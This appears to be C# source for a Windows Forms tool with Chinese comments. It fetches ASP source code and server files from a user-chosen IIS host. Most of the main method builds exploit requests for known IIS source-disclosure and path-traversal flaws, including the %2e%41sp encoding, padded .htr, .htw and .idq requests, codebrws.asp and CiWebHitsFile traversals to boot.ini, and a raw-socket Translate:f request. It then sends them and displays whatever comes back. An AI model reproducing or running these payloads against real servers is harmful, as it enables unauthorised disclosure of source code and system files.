//主要方法
  protected void btnGo_Click (object sender, System.EventArgs e)
  {

//解析url
string strServer = this.txtServer.Text ;
string strUrl= this.txtFileName.Text ;
char [] point = {'.'} ;//定义分割符为"."
char[] line = {'/'} ;  //定义分割符为"."
string [] arrString = strUrl.Split(line) ;

//求asp文件全名
string strFileName = arrString[arrString.Length - 1] ;
//求从根目录下的路径
string strPath = strUrl.Substring( 0 ,
  strUrl.Length - strFileName.Length) ;

//解析文件全名
arrString = strFileName.Split(point) ;
//求文件扩展名
string strLast = arrString[arrString.Length - 1] ;
//求文件名
string strFirst = strFileName.Substring( 0 ,
strFileName.Length - strLast.Length - 1) ;



//使按钮、输入框等失效
this.txtServer.ReadOnly = true ;
this.txtFileName.ReadOnly = true ;
this.btnClear.Enabled = false ;
this.btnGo.Enabled = false ;


if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
 || this.txtServer.Text.Trim()== "" ||
 this.txtServer.Text.Substring(0,7) != "http://")
{
 MessageBox.Show("请输入正确的主机名和文件名！") ;
 this.txtServer.Focus() ;
}
else
{
 this.txtResult.Visible = true ;
 this.txtResult.ReadOnly = true ;
 this.barStatus.Text = "正在连结主机…" ;

 string strRequestFile ;

 switch (this.cboMethod.SelectedIndex)
 {
  case 0: //直接读取
strRequestFile = strServer + strUrl ;
break ;
  case 5 ://%2e%41sp
strRequestFile = strServer + strPath + strFirst
 + "%2e%41sp" ;
break ;
  case 8 :  //longhtr
strRequestFile = strServer + strUrl
  + "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
  + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
  + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
break ;

  case 10:  //codebrws.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
 + strUrl ;
break ;

  case 11: //showcode.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
 + "/msadc/../../../../boot.ini" ;
break;

  case 12 :  //null.htw
strRequestFile = strServer + "/null.htw?CiWebHitsFile="
 + strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
break ;
  case 13 :  //qfullhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
 + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
 + "&CiHiliteType=Full";
break ;

  case 14 :  //qsumrhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
 + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
 + "&CiHiliteType=Full";
break ;

  case 15 :  //query.idq
strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
 + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";
break ;

  case 16://search/qfullhit.htw
strRequestFile = strServer + "/iissamples/exair/search/qfullhit.htw?"
 + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
 + "&CiHiliteType=Full";
break ;

  case 17:// search/qsumrhit.htw
strRequestFile = strServer + "/iissamples/exair/search/qsumrhit.htw?"
 + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
 + "&CiHiliteType=Full";
break ;
  
  case 18://iirturnh.htw
strRequestFile = strServer + "/iishelp/iis/misc/iirturnh.htw?"
 + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
 + "&CiHiliteType=Full";
break ;

  case 19:  //.htw
strRequestFile = strServer + strUrl
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
 + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
 + "%20%20%20%20%20%20%20%20%20%20%20.htw?"
 + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
 + "&CiHiliteType=Full" ;
break ;

  default:
strRequestFile = strServer + strUrl + this.cboMethod.Text ;
 }
 
 this.barStatus.Text = "发送请求："
 + (strRequestFile.Length >= 50 ?
strRequestFile.Substring(0 , 50)
 :strRequestFile)
 + "...";

 string strResult ;
 //如果不是translate:f方法则可以直接发送http请求
 if (this.cboMethod.SelectedIndex != 20)
 {
  //直接发送http请求
  strResult = Get_Http(strRequestFile) ;

  this.barStatus.Text += "完成。"  ;
  strResult = strResult == "" ? "未找到！" : strResult ;
  this.txtResult.Text = strResult ;
 }
 else  //translate:f方法需要建立tcp/ip连接
 {
  string strRequest = "GET " + strServer + strUrl
+ "\r\nHTTP/1.0\r\nTranslate:f\r\n" ;
  strResult = Get_Socket_Request(strServer , strRequest , 80) ;
  this.barStatus.Text += "完成。"  ;
  strResult = strResult == "" ? "未找到！" : strResult ;
  this.txtResult.Text = strResult ;

 }

}

//使按钮、输入款等恢复
this.txtServer.ReadOnly = false ;
this.txtFileName.ReadOnly = false ;
this.btnClear.Enabled = true ;
this.btnGo.Enabled = true ;


  }


  //通过同server建立tcp/ip连接，发送socket命令
  private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort)
  {
//Set up variables and String to write to the server
Encoding ASCII = Encoding.Default ;
string Get = a_strRequest + "Connection: Close\r\n\r\n";
//string Get =
Byte[] ByteGet = ASCII.GetBytes(Get);
Byte[] RecvBytes = new Byte[256];
String strRetPage = null;

// IPAddress and IPEndPoint represent the endpoint that will
//receive the request
IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7));
IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);

//Create the Socket for sending data over TCP
Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream,
ProtocolType.ProtTCP );

// Connect to host using IPEndPoint
if (s.Connect(EPhost) != 0)
{
 strRetPage = "Unable to connect to host";
 return strRetPage;
}

// Sent the GET text to the host
s.Send(ByteGet, ByteGet.Length, 0);

// Receive the page, loop until all bytes are received
Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);

while (bytes > 0)
{
 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
 strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
}

return strRetPage ;
  }

  //获取http页面函数
  private string Get_Http(string a_strUrl)
  {
string strResult ;
HttpWebRequest myReq = (HttpWebRequest)
  WebRequestFactory.Create(a_strUrl) ;

try
{
 HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse();
 Stream myStream = HttpWResp.GetResponseStream () ;

 StreamReader sr = new StreamReader(myStream , Encoding.Default);
 StringBuilder strBuilder = new StringBuilder();
 while (-1 != sr.Peek())
 {
  strBuilder.Append(sr.ReadLine()+"\r\n");
 }
 
 strResult = strBuilder.ToString();
}
catch(Exception exp)
{
  strResult = "错误：" + exp.Message ;
}

return strResult ;

  }

  //退出
  protected void mnuExit_Click (object sender, System.EventArgs e)
  {

if (MessageBox.Show("真的退出吗？" , "退出系统" , MessageBox.YesNo) == DialogResult.Yes)
{
 this.Close () ;

}
  }


  //主函数
  public static void Main(string[] args)
  {
Application.Run(new Form1());
  }
 }
}